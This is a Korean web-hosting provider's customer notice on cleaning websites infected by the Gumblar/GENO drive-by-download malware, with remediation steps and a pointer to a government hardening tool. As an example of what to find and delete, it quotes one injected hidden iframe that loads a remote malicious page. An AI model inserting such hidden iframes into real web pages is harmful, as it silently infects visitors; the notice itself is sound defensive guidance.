|
+ 홈페이지내 악성코드 삽입 해결방법+
안녕하세요 엔터호스트입니다.
최근 홈페이지내에 악성코드 검블러(Gumblar) 또는 GENO 가 삽입되어 클릭시 바이러스가 다운되거나 페이지가 정상적으로 열리지 않는등의 악성코드 공격이
급속히 전 인터넷 환경에 걸쳐 전파되고 있습니다.
해당 악성코드는 어도비(Adobe)사의 아크로뱃이나 플래쉬의 보안 패치가 되지 않은 PC가 특정 웹 사이트를 열기만 해도 감염되는 '드라이브 바이 다운로드' 방식으로 전파되고 있어 감염속도가 매우 빠릅니다.
또한 감염된 PC 이용자가 웹사이트의 파일을 관리하는 FTP 프로그램을 가지고 있을 경우 ID와 비밀번호를 빼내 해당 웹사이트의 index , main 등의 이름을 가진 html, php 파일들을 변조해서악성코드를 다운받는 코드를 심어놓게 됩니다.
- 해결 방법
해당 pc 에서 악성코드를 제거해야 합니다. 제거가 어려울 경우 OS 를 재설치해야 합니다. 그 다음 OS 와 어도비(Adobe)사의 아크로벳(Acrobat)과 플래쉬(Flash) 프로그램의 보안패치를 최신까지 설치해야 합니다. 악성코드가 제거되지 않은 상태에서 단순히 비밀번호를 바꾼채 ftp 접속을 하게 되면 지속적으로 ID 와 비밀번호가 유출되어서 사이트 변조가 지속됩니다.
예)
<iframe src="http://asdfasdf.in:8080/index.php" width=182 height=181 style="visibility: hidden"></iframe>
위와 같은 파일이 홈페이지 소스내에 있는 경우 모든 홈페이지 소스를 확인 하신후
<iframe 부터 iframe> 까지 모두 찾아서 지우시고 다시 저장(업로드) 하시면 됩니다.
삭제하신후에
비밀번호를 변경하시고 사용하시는 pc또한 바이러스 체크를 및 위 해결방법의 절차를 모두 진행 하시기 바랍니다.
감염된pc에서 ftp를 사용할 경우 비밀번호 하이재킹을 통해 획득한후 해당 계정에 악성코드가 계속해서 삽입됩니다.
검블러(Gumblar)
합법적인 사이트를 하이재킹해 공격 코드를 삽입하는 것으로, 사용자의 인지 없이 자동으로 설치되는 드라이브바이다운로드(drive-by-download) 공격이다. 이 악성코드에 감염된 PC에서 FTP 로그인을 하는 경우 계정 정보가 유출될 수 있으며, 일부 백신 소프트웨어의 실행이 중지되고 해당 백신 소프트웨어 사이트의 접속이 차단된다. 또한 감염된 PC에서는 검색 사이트 구글의 검색 결과를 특정 웹사이트로 강제 이동시키는 증상도 발견돼 ‘구글 검색 결과를 조작하는’ 드라이브바이다운로드 공격으로 알려져 있다. 한편, 당초 제노(Geno)
바이러스(혹은 악성코드)로 명명된 검블러는 이 외에도 Daenol, Gadjo, Kates 등으로 불리고 있다.
관련 내용(보안 기사)
http://www.boannews.com/media/view.asp?idx=16569&kind=1
http://www.fnnews.com/view?ra=Sent0901m_View&corp=fnnews&arcid=090522164152&cDateYear=2009&cDateMonth=05&cDateDay=22
* 인터넷 침해대응센터
<홈페이지 보안 강화 도구(CASTLE) 보급 안내>
최근 공격자들이 국내 홈페이지를 해킹하여 악성코드 유포 및
개인정보 탈취하는 사례가 지속적으로 발생하고 있습니다.
이에, 한국정보보호진흥원에서는 홈페이지의 보안성을 강화하는
"홈페이지 보안 강화도구(CASTLE)"를 배포하고 있습니다.
사용을 희망하는 회사(기관)나 개인 사용자 분들은 아래의 프로그램과
설명서를 다운받아 사용하시기 바랍니다.
자세한 내용(프로그램 다운로드)
인터넷 침해대응센터 문의를 통한 자문을 받으신후 테스트후 사용을 권장 드립니다.
http://www.enterhost.co.kr/bbs/zboard.php?id=faq&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=79
감사합니다
감사합니다.. ^^
함께하는 호스팅 서비스 엔터호스트
enterhost.co.kr
^^
|
공지사항 
엔터호스트 서버작업
